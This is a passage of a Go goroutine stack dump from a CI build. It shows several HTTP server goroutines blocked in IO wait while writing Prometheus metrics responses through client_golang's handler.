net/http.(*response).Write(0xc0015ee1c0, 0xc019534000, 0x6f3af, 0x97f10, 0x77d4c0, 0xc009dca001, 0xc00154bb80)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0080a4870, 0xc019534000, 0x6f3af, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e038, 0xc01a544e00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e038, 0xc01a544e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee1c0, 0xc01a544e00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee1c0, 0xc01a544e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee1c0, 0xc01a544e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee1c0, 0xc01a544e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064dc0, 0x88ea00, 0xc01d9e2340)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21024 [IO wait, 14 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0888, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171dfb18, 0x77, 0x59b00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171dfb00, 0xc01ed9cf6f, 0x6e39c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171dfb00, 0xc01ed9cf6f, 0x6e39c, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ec90, 0xc01ed9cf6f, 0x6e39c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064be0, 0xc01ed9cf6f, 0x6e39c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc013674e00, 0xc01ed9cf6f, 0x6e39c, 0x96fa1, 0x1, 0xc000167e00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee658, 0xc01ed9c000, 0x6f30b, 0x97f10, 0xc01d673898, 0x642e8e, 0xc000064c68)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc013674ec0, 0xc01ed9c000, 0x6f30b, 0x97f10, 0x0, 0x0, 0x7f50701ceed0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee620, 0x6f30b, 0xc01ed9c000, 0x6f30b, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01d673a40, 0x4d9138c4)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee620, 0xc01ed9c000, 0x6f30b, 0x97f10, 0x77d4c0, 0xc0193a4b01, 0xc00154b340)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc002210870, 0xc01ed9c000, 0x6f30b, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ec98, 0xc006756800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ec98, 0xc006756800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee620, 0xc006756800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee620, 0xc006756800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee620, 0xc006756800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee620, 0xc006756800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064be0, 0x88ea00, 0xc013674dc0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21253 [IO wait, 11 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0068, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3518, 0x77, 0x5a200, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3500, 0xc022160f6f, 0x6ea81, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3500, 0xc022160f6f, 0x6ea81, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e528, 0xc022160f6f, 0x6ea81, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065360, 0xc022160f6f, 0x6ea81, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01dcdc2c0, 0xc022160f6f, 0x6ea81, 0x96fa1, 0x1, 0xc000370300, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015eef18, 0xc022160000, 0x6f9f0, 0x97f10, 0xc005e67898, 0x642e8e, 0xc0000653e8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01dcdc380, 0xc022160000, 0x6f9f0, 0x97f10, 0x0, 0x0, 0x7f506ee35c70)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015eeee0, 0x6f9f0, 0xc022160000, 0x6f9f0, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc005e67a40, 0xf0c13084)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015eeee0, 0xc022160000, 0x6f9f0, 0x97f10, 0x77d4c0, 0xc0145d0a01, 0xc00497c2c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc018947f40, 0xc022160000, 0x6f9f0, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e530, 0xc004eb8100)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e530, 0xc004eb8100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015eeee0, 0xc004eb8100)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015eeee0, 0xc004eb8100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015eeee0, 0xc004eb8100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015eeee0, 0xc004eb8100)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065360, 0x88ea00, 0xc01dcdc280)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21191 [IO wait, 12 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0208, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2118, 0x77, 0x5a000, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c2100, 0xc021d9af6f, 0x6e8f2, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c2100, 0xc021d9af6f, 0x6e8f2, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000f068, 0xc021d9af6f, 0x6e8f2, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc0000652c0, 0xc021d9af6f, 0x6e8f2, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc013b0a080, 0xc021d9af6f, 0x6e8f2, 0x96fa1, 0x1, 0xc000370780, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015eeff8, 0xc021d9a000, 0x6f861, 0x97f10, 0xc005e6b898, 0x642e8e, 0xc000065348)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc013b0a140, 0xc021d9a000, 0x6f861, 0x97f10, 0x0, 0x0, 0x7f50701ceed0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015eefc0, 0x6f861, 0xc021d9a000, 0x6f861, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc005e6ba40, 0x1554e66c)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015eefc0, 0xc021d9a000, 0x6f861, 0x97f10, 0x77d4c0, 0xc01de7f901, 0xc00154a000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc004f413b0, 0xc021d9a000, 0x6f861, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000f070, 0xc00d262a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000f070, 0xc00d262a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015eefc0, 0xc00d262a00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015eefc0, 0xc00d262a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015eefc0, 0xc00d262a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015eefc0, 0xc00d262a00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc0000652c0, 0x88ea00, 0xc013b0a040)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21079 [IO wait, 13 minutes]:
internal/poll.runtime_pollWait(0x7f50703b06e8, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3218, 0x77, 0x59c00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3200, 0xc01cff0f6f, 0x6e4bc, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3200, 0xc01cff0f6f, 0x6e4bc, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e630, 0xc01cff0f6f, 0x6e4bc, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064f00, 0xc01cff0f6f, 0x6e4bc, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01dcec1c0, 0xc01cff0f6f, 0x6e4bc, 0x96fa1, 0x1, 0xc000370900, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee738, 0xc01cff0000, 0x6f42b, 0x97f10, 0xc01d66f898, 0x642e8e, 0xc000064f88)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01dcec280, 0xc01cff0000, 0x6f42b, 0x97f10, 0x0, 0x0, 0x7f506e785400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee700, 0x6f42b, 0xc01cff0000, 0x6f42b, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01d66fa40, 0xfd5c421c)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee700, 0xc01cff0000, 0x6f42b, 0x97f10, 0x77d4c0, 0xc01f50a201, 0xc01de582c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0080a5810, 0xc01cff0000, 0x6f42b, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e638, 0xc00d262800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e638, 0xc00d262800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee700, 0xc00d262800)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee700, 0xc00d262800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee700, 0xc00d262800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee700, 0xc00d262800)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064f00, 0x88ea00, 0xc01dcec180)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21369 [IO wait, 10 minutes]:
internal/poll.runtime_pollWait(0x7f506e4adc50, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c2a98, 0x77, 0x5a600, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c2a80, 0xc024268f6f, 0x6ee7f, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c2a80, 0xc024268f6f, 0x6ee7f, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ef98, 0xc024268f6f, 0x6ee7f, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065720, 0xc024268f6f, 0x6ee7f, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01c7d0c40, 0xc024268f6f, 0x6ee7f, 0x96fa1, 0x1, 0xc000370a80, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef6f8, 0xc024268000, 0x6fdee, 0x97f10, 0xc00928d898, 0x642e8e, 0xc0000657a8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01c7d0d00, 0xc024268000, 0x6fdee, 0x97f10, 0x0, 0x0, 0xc01fff1760)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef6c0, 0x6fdee, 0xc024268000, 0x6fdee, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc00928da40, 0x5dcf0f4f)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef6c0, 0xc024268000, 0x6fdee, 0x97f10, 0x77d4c0, 0xc01d967001, 0xc00497dce0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc01e616460, 0xc024268000, 0x6fdee, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000efa0, 0xc006757d00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000efa0, 0xc006757d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef6c0, 0xc006757d00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef6c0, 0xc006757d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef6c0, 0xc006757d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef6c0, 0xc006757d00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065720, 0x88ea00, 0xc01c7d0c00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21335 [IO wait, 10 minutes]:
internal/poll.runtime_pollWait(0x7f506e4addf0, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171de918, 0x77, 0x5a400, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171de900, 0xc022d8cf6f, 0x6ec24, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171de900, 0xc022d8cf6f, 0x6ec24, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e478, 0xc022d8cf6f, 0x6ec24, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc0000655e0, 0xc022d8cf6f, 0x6ec24, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc0014e0c00, 0xc022d8cf6f, 0x6ec24, 0x96fa1, 0x1, 0xc000370c00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015eed58, 0xc022d8c000, 0x6fb93, 0x97f10, 0xc0094b1898, 0x642e8e, 0xc000065668)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0014e0cc0, 0xc022d8c000, 0x6fb93, 0x97f10, 0x0, 0x0, 0xc01fff11e0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015eed20, 0x6fb93, 0xc022d8c000, 0x6fb93, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0094b1a40, 0x79830153)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015eed20, 0xc022d8c000, 0x6fb93, 0x97f10, 0x77d4c0, 0xc01901ff01, 0xc00497d760)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0169daf00, 0xc022d8c000, 0x6fb93, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e480, 0xc021afac00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e480, 0xc021afac00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015eed20, 0xc021afac00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015eed20, 0xc021afac00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015eed20, 0xc021afac00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015eed20, 0xc021afac00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc0000655e0, 0x88ea00, 0xc0014e0bc0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21138 [IO wait, 13 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0478, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171de018, 0x77, 0x59e00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171de000, 0xc020e50f6f, 0x6e70f, 0x96fa1, 0x0, 0x0, 0x0)
